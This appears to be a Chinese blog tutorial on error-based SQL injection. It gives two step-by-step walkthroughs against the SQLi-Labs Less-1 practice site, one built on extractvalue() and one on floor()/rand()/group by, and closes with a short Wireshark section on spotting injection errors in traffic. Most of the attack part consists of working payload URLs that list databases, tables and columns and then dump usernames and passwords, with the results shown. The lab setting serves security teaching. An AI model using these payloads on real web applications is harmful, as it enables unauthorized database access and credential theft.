网络安全——SQL报错注入

一、SQL报错注入概述

1、原理

(1)、Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上

(2)、后台未对一些具有报错功能的函数(例:extractvalue、updatexml等)进行过滤

(3)、通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来

 2、Xpath类型函数

 

 3、其他函数

 

 二、SQL报错注入实例一

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

(2)关于extractvalue()函数

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue(XML_document, XPath_string)
参数1:XML_document是String格式,为XML文档对象的名称;
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方。
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx’。

实验步骤

以SQLi-Labs网站的Less-1为入口,借助extractvalue()函数,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1.访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后,根据网页提示,先给定一个GET参数,即:

http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

2.寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点。

3.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

显示结果为security。

4.获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue() 函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
//显示security库中的第1张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+
//显示security库中的第2张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+
//显示security库中的第3张表的名字

...

5.获取users表的全部字段名

使用以下payload获取users表的全部字段名:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

显示结果,users表中有id、username和password三个字段。

 

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+
//显示users表中的第1个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+
//显示users表中的第2个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+
//显示users表中的第3个字段的名字

...

6.获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

显示结果为Dump,Dump。

(2)显示第2组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

显示结果为Angelina,I-kill-you。

(3)显示第3组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

显示结果为Dummy,p@ssword。

 

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


三、SQL报错注入实例二

原理:

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

(2)关于floor()函数

在进行报错注入时,floor()函数一般需要与rand()、count()、group by联用。
作用:
floor(x):对参数x向下取整;
rand():生成一个0~1之间的随机浮点数;
count(*):统计某个表下总共有多少条记录;
group by x:按照(by)一定的规则(x)进行分组;
报错原理:floor()函数与group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key 'group_key’。

步骤:

本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助floor()函数与rand()、count()、group by的联用,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1.访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后,根据网页提示,先给定一个GET参数,即:

http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

2.寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点。

3.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为security。注意:请忽略后面的1。

4.获取数据库security的全部表名

使用以下payload获取数据库security的表名:

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第1张表的名字为emails。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第2张表的名字为referers。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第3张表的名字为uagents。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第4张表的名字为users。

 以上显示结果中,第4张表users当中可能存放着网站用户的基本信息。

5.获取users表的全部字段名

使用以下payload获取users表的字段名:

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第1个字段名字为id。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第2个字段名字为username。

 

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第3个字段名字为password。

 综合以上显示结果,users表中有id、username和password三个字段。

6.获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dump,Dump。

(2)显示第2组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Angelina,I-kill-you。

(3)显示第3组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dummy,p@ssword。

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


这篇文章就写到这里了

### 使用 Wireshark 捕获并分析 SQL 注入攻击成功报错的数据包 #### 流量监控与捕获 为了有效监测和捕捉可能存在的 SQL 注入攻击流量,需先设置好网络环境以便于抓取目标主机上的进出数据流。这通常涉及到配置端口镜像或利用内网交换机的功能来转发特定设备间的通信记录给安装有 Wireshark 的机器处理[^1]。 #### 启动 Wireshark 并应用过滤器 启动 Wireshark 软件,在界面中选择要监听的网络接口。针对数据库服务器发出的内容,可以施加显示过滤器 `mysql` 或者更精确地限定为 `(tcp.port eq 3306)` 来专注于 MySQL 默认使用的TCP端口号上流动的信息片段;如果已知Web应用程序所在的IP地址,则还可以进一步缩小范围至该源/目的地址之间的交互过程[(ip.addr == X.X.X.X)][^2]。 #### 定位到含有错误响应的消息 当存在SQL注入漏洞被触发时,服务端可能会返回异常提示给客户端作为HTTP响应的一部分。这些反馈往往包含了对调试有用的细节描述甚至是完整的堆栈跟踪信息——这些都是潜在的安全隐患所在之处。因此,在Wireshark会话列表里寻找状态码非正常的GET/POST请求对应的回复部分就显得尤为重要了。对于MySQL而言,可以通过查看TCP流重组后的原始查询字符串以及伴随而来的结果集(Result Set),特别是其中是否夹杂着诸如“syntax error”, “unknown column”之类的字样[^3]。 ```sql -- 这些关键词可能是由于恶意构造的输入导致执行失败的结果展示 SELECT * FROM users WHERE id='1' OR '1'='1'; -- syntax error, unexpected '=' near ... ``` 一旦发现了上述特征明显的条目之后,就可以将其标记出来深入研究其上下文中是否存在其他可疑活动模式,并据此采取相应的防护措施以防止未来发生类似的入侵事件。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值